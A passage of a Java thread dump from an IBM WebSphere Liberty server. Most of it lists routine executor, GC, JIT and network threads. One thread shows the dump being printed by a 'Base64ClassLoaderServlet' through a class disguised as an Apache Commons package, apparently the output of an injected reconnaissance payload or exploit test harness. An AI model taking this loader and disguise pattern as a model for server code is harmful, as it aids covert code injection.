com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@a319b15b + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:218) + at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:176) + at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:647) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1085) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.lang.Thread.run(Thread.java:812) + +"Signal Dispatcher" #2 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at com.ibm.misc.SignalDispatcher.waitForSignal(Native Method) + at com.ibm.misc.SignalDispatcher.run(SignalDispatcher.java:73) + +"GC Slave" #20 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"GC Slave" #22 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"GC Slave" #21 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"GC Slave" #16 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"Default Executor-thread-11" #63 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@94ad3669 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:218) + at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:176) + at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:647) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1085) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.lang.Thread.run(Thread.java:812) + +"GC Slave" #24 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"JIT Compilation Thread-5 Suspended" #9 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"JIT Compilation Thread-0" #4 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"Timer-1" #31 [TIMED_WAITING] on java.util.TaskQueue@fc230662 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:218) + at java.util.TimerThread.mainLoop(Timer.java:563) + at java.util.TimerThread.run(Timer.java:516) + +"JIT Compilation Thread-2 Suspended" #6 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"Bundle File Closer" #49 daemon [TIMED_WAITING] on org.eclipse.osgi.storage.bundlefile.ZipBundleFile@3c7c8ade + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:218) + at org.eclipse.osgi.storage.bundlefile.ZipBundleFile.close(ZipBundleFile.java:311) + at org.eclipse.osgi.storage.bundlefile.MRUBundleFileList.dispatchEvent(MRUBundleFileList.java:178) + at org.eclipse.osgi.storage.bundlefile.MRUBundleFileList.dispatchEvent(MRUBundleFileList.java:1) + at org.eclipse.osgi.framework.eventmgr.EventManager.dispatchEvent(EventManager.java:230) + at org.eclipse.osgi.framework.eventmgr.EventManager$EventThread.run(EventManager.java:340) + +"process reaper" #62 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@e9523894 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:226) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:471) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:373) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:952) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1084) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.lang.Thread.run(Thread.java:812) + +"Default Executor-thread-13" #65 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@6be575c7 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:218) + at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:176) + at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:647) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1085) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.lang.Thread.run(Thread.java:812) + +"IProfiler" #13 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"JIT Compilation Thread-1 Suspended" #5 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"Config-Thread-12" #42 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2596ef86 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:226) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2089) + at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:478) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1084) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.lang.Thread.run(Thread.java:812) + +"Default Executor-thread-22" #77 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@46f4f614 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:218) + at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:176) + at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:647) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1085) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.lang.Thread.run(Thread.java:812) + +"Default Executor-thread-17" #70 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@aa2fc3fa + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:218) + at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:176) + at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:647) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1085) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.lang.Thread.run(Thread.java:812) + +"Default Executor-thread-3" #50 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@e7f4910a + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:218) + at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:176) + at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:647) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1085) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.lang.Thread.run(Thread.java:812) + +"Default Executor-thread-19" #72 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@d386e142 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:218) + at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:176) + at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:647) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1085) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.lang.Thread.run(Thread.java:812) + +"Timer-4" #68 daemon [TIMED_WAITING] on java.util.TaskQueue@7ec7f87 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:218) + at java.util.TimerThread.mainLoop(Timer.java:563) + at java.util.TimerThread.run(Timer.java:516) + +"Framework Event Dispatcher: org.eclipse.osgi.internal.framework.EquinoxEventPublisher@6840e7d3" #34 daemon [WAITING] on org.eclipse.osgi.framework.eventmgr.EventManager$EventThread@555dbb98 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:189) + at org.eclipse.osgi.framework.eventmgr.EventManager$EventThread.getNextEvent(EventManager.java:400) + at org.eclipse.osgi.framework.eventmgr.EventManager$EventThread.run(EventManager.java:336) + +"GC Slave" #17 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"JIT-SamplerThread" #12 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + +"GC Slave" #15 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"kernel-command-listener" #36 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.ServerSocketChannelImpl.accept0(Native Method) + at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:478) + at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:287) + at com.ibm.ws.kernel.launch.internal.ServerCommandListener.acceptAndExecuteCommand(ServerCommandListener.java:337) + at com.ibm.ws.kernel.launch.internal.ServerCommandListener.access$100(ServerCommandListener.java:43) + at com.ibm.ws.kernel.launch.internal.ServerCommandListener$2.run(ServerCommandListener.java:318) + +"Inbound Read Selector.1" #56 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:281) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:105) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:98) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:109) + at com.ibm.ws.tcpchannel.internal.ChannelSelector.run(ChannelSelector.java:144) + at java.lang.Thread.run(Thread.java:812) + +"ClassloaderMapProcessingThread-20" #76 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@8a993603 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:186) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2050) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:453) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1085) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.lang.Thread.run(Thread.java:812) + +"GC Slave" #18 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"Shared TCPChannel NonBlocking Accept Thread" #58 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:281) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:105) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:98) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:109) + at com.ibm.ws.tcpchannel.internal.ChannelSelector.run(ChannelSelector.java:144) + at java.lang.Thread.run(Thread.java:812) + +"Scheduled Executor-thread-1" #45 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@15fbddec + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:226) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2089) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1104) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:820) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1085) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.lang.Thread.run(Thread.java:812) + +"Default Executor-thread-16" #69 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@6a301c2 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:218) + at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:176) + at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:647) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1085) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.lang.Thread.run(Thread.java:812) + +"SCR Component Actor" #43 daemon [WAITING] on java.util.LinkedList@ba1d8a91 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:189) + at org.apache.felix.scr.impl.ComponentActorThread.run(ComponentActorThread.java:81) + at java.lang.Thread.run(Thread.java:812) + +"JIT Diagnostic Compilation Thread-7 Suspended" #11 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"Default Executor-thread-21" #74 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@875944b8 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:218) + at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:176) + at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:647) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1085) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.lang.Thread.run(Thread.java:812) + +"Executor Service Control Timer" #44 daemon [TIMED_WAITING] on java.util.TaskQueue@62d5a6bb + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:218) + at java.util.TimerThread.mainLoop(Timer.java:563) + at java.util.TimerThread.run(Timer.java:516) + +"Default Executor-thread-10" #61 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@82134d3b + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:218) + at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:176) + at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:647) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1085) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.lang.Thread.run(Thread.java:812) + +"Inbound Write Selector.1" #79 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:281) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:105) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:98) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:109) + at com.ibm.ws.tcpchannel.internal.ChannelSelector.run(ChannelSelector.java:144) + at java.lang.Thread.run(Thread.java:812) + +"Default Executor-thread-4" #51 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@4aff664a + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:218) + at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:176) + at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:647) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1085) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.lang.Thread.run(Thread.java:812) + +"JIT Compilation Thread-6 Suspended" #10 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"Start Level: Equinox Container: feb6fcde-ea85-4ade-a189-79f224134ce2" #38 daemon [WAITING] on org.eclipse.osgi.framework.eventmgr.EventManager$EventThread@b5c4138 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:189) + at org.eclipse.osgi.framework.eventmgr.EventManager$EventThread.getNextEvent(EventManager.java:400) + at org.eclipse.osgi.framework.eventmgr.EventManager$EventThread.run(EventManager.java:336) + +"Attach API wait loop" #28 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at com.ibm.tools.attach.target.IPC.waitSemaphore(Native Method) + at com.ibm.tools.attach.target.CommonDirectory.waitSemaphore(CommonDirectory.java:254) + at com.ibm.tools.attach.target.WaitLoop.waitForNotification(WaitLoop.java:66) + at com.ibm.tools.attach.target.WaitLoop.run(WaitLoop.java:154) + +"Inbound Read Selector.1" #78 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:281) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:105) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:98) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:109) + at com.ibm.ws.tcpchannel.internal.ChannelSelector.run(ChannelSelector.java:144) + at java.lang.Thread.run(Thread.java:812) + +"Default Executor-thread-20" #73 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@3ec5b3bd + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:218) + at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:176) + at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:647) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1085) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.lang.Thread.run(Thread.java:812) + +"JIT Compilation Thread-4 Suspended" #8 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"Timer-2" #39 daemon [WAITING] on java.util.TaskQueue@946ab4b7 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:189) + at java.util.TimerThread.mainLoop(Timer.java:537) + at java.util.TimerThread.run(Timer.java:516) + +"Default Executor-thread-14" #66 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@a1e93e55 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:218) + at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:176) + at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:647) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1085) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.lang.Thread.run(Thread.java:812) + +"JIT Compilation Thread-3 Suspended" #7 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"MemoryMXBean notification dispatcher" #40 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at com.ibm.lang.management.internal.MemoryNotificationThread.processNotificationLoop(Native Method) + at com.ibm.lang.management.internal.MemoryNotificationThread.run(MemoryNotificationThread.java:183) + +"Default Executor-thread-8" #59 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.lang.Thread.getStackTrace(Thread.java:1154) + at java.lang.Thread.getAllStackTraces(Thread.java:1182) + at org.apache.commons.caDSW.ErrorHandler.toString(BasicInfoPrinter.java:26) + at java.lang.String.valueOf(String.java:3422) + at java.io.PrintWriter.print(PrintWriter.java:627) + at Base64ClassLoaderServlet.service(Base64ClassLoaderServlet.java:26) + at com.ibm.ws.webcontainer.servlet.ServletWrapper.service(ServletWrapper.java:1255) + at com.ibm.ws.webcontainer.servlet.ServletWrapper.handleRequest(ServletWrapper.java:743) + at com.ibm.ws.webcontainer.servlet.ServletWrapper.handleRequest(ServletWrapper.java:440) + at com.ibm.ws.webcontainer.filter.WebAppFilterChain.invokeTarget(WebAppFilterChain.java:182) + at com.ibm.ws.webcontainer.filter.WebAppFilterChain.doFilter(WebAppFilterChain.java:93) + at EmptyFilter.doFilter(EmptyFilter.java:21) + at com.ibm.ws.webcontainer.filter.FilterInstanceWrapper.doFilter(FilterInstanceWrapper.java:201) + at com.ibm.ws.webcontainer.filter.WebAppFilterChain.doFilter(WebAppFilterChain.java:90) + at com.ibm.ws.security.jaspi.JaspiServletFilter.doFilter(JaspiServletFilter.java:56) + at com.ibm.ws.webcontainer.filter.FilterInstanceWrapper.doFilter(FilterInstanceWrapper.java:201) + at com.ibm.ws.webcontainer.filter.WebAppFilterChain.doFilter(WebAppFilterChain.java:90) + at com.ibm.ws.webcontainer.filter.WebAppFilterManager.doFilter(WebAppFilterManager.java:996) + at com.ibm.ws.webcontainer.filter.WebAppFilterManager.invokeFilters(WebAppFilterManager.java:1134) + at com.ibm.ws.webcontainer.filter.WebAppFilterManager.invokeFilters(WebAppFilterManager.java:1005) + at com.ibm.ws.webcontainer.servlet.CacheServletWrapper.handleRequest(CacheServletWrapper.java:75) + at com.ibm.ws.webcontainer40.servlet.CacheServletWrapper40.handleRequest(CacheServletWrapper40.java:83) + at com.ibm.ws.webcontainer.WebContainer.handleRequest(WebContainer.java:927) + at com.ibm.ws.webcontainer.osgi.DynamicVirtualHost$2.run(DynamicVirtualHost.java:279) + at com.ibm.ws.http.dispatcher.internal.channel.HttpDispatcherLink$TaskWrapper.run(HttpDispatcherLink.java:1023) + at com.ibm.ws.http.dispatcher.internal.channel.HttpDispatcherLink.wrapHandlerAndExecute(HttpDispatcherLink.java:417) + at com.ibm.ws.http.dispatcher.internal.channel.HttpDispatcherLink.ready(HttpDispatcherLink.java:376) + at com.ibm.ws.http.channel.internal.inbound.HttpInboundLink.handleDiscrimination(HttpInboundLink.java:532) + at com.ibm.ws.http.channel.internal.inbound.HttpInboundLink.handleNewRequest(HttpInboundLink.java:466) + at com.ibm.ws.http.channel.internal.inbound.HttpInboundLink.processRequest(HttpInboundLink.java:331) + at com.ibm.ws.http.channel.internal.inbound.HttpInboundLink.ready(HttpInboundLink.java:302) + at com.ibm.ws.tcpchannel.internal.NewConnectionInitialReadCallback.sendToDiscriminators(NewConnectionInitialReadCallback.java:165) + at com.ibm.ws.tcpchannel.internal.NewConnectionInitialReadCallback.complete(NewConnectionInitialReadCallback.java:74) + at com.ibm.ws.tcpchannel.internal.WorkQueueManager.requestComplete(WorkQueueManager.java:501) + at com.ibm.ws.tcpchannel.internal.WorkQueueManager.attemptIO(WorkQueueManager.java:571) + at com.ibm.ws.tcpchannel.internal.WorkQueueManager.workerRun(WorkQueueManager.java:926) + at com.ibm.ws.tcpchannel.internal.WorkQueueManager$Worker.run(WorkQueueManager.java:1015) + at com.ibm.ws.threading.internal.ExecutorServiceImpl$RunnableWrapper.run(ExecutorServiceImpl.java:232) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1160) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.lang.Thread.run(Thread.java:812) + +"Finalizer thread" #25 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"GC Slave" #19 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"zip file reaper" #75 daemon [WAITING] on com.ibm.ws.artifact.zip.cache.internal.ZipFileReaper$ReaperLock@75599147 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:189) + at com.ibm.ws.artifact.zip.cache.internal.ZipFileReaper$ReaperLock.wait(ZipFileReaper.java:682) + at com.ibm.ws.artifact.zip.cache.internal.ZipFileReaper$ReaperRunnable.run(ZipFileReaper.java:199) + at java.lang.Thread.run(Thread.java:812) + +"Active Thread: Equinox Container: feb6fcde-ea85-4ade-a189-79f224134ce2" #32 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@9476a25b + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:226) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2089) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1104) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:820) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1085) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.lang.Thread.run(Thread.java:812) + +"Default Executor-thread-2" #48 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@7cb23130 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:218) + at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:176) + at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:647) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1085) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.lang.Thread.run(Thread.java:812) + +"Default Executor-thread-12" #64 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@299ec668 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:218) + at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:176) + at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:647) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1085) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.lang.Thread.run(Thread.java:812) + +"GC Slave" #23 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"main" #1 [WAITING] on java.util.concurrent.atomic.AtomicReference@c9877e5d + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:218) + at org.eclipse.osgi.container.SystemModule.waitForStop(SystemModule.java:168) + at org.eclipse.osgi.internal.framework.EquinoxBundle$SystemBundle.waitForStop(EquinoxBundle.java:250) + at org.eclipse.osgi.launch.Equinox.waitForStop(Equinox.java:181) + at com.ibm.ws.kernel.launch.internal.FrameworkManager.waitForFrameworkStop(FrameworkManager.java:716) + at com.ibm.ws.kernel.launch.internal.FrameworkManager.launchFramework(FrameworkManager.java:310) + at com.ibm.ws.kernel.launch.internal.LauncherDelegateImpl.doFrameworkLaunch(LauncherDelegateImpl.java:114) + at com.ibm.ws.kernel.launch.internal.LauncherDelegateImpl.launchFramework(LauncherDelegateImpl.java:100) + at com.ibm.ws.kernel.boot.internal.KernelBootstrap.go(KernelBootstrap.java:212) + at com.ibm.ws.kernel.boot.Launcher.handleActions(Launcher.java:242) + at com.ibm.ws.kernel.boot.Launcher.createPlatform(Launcher.java:117) + at 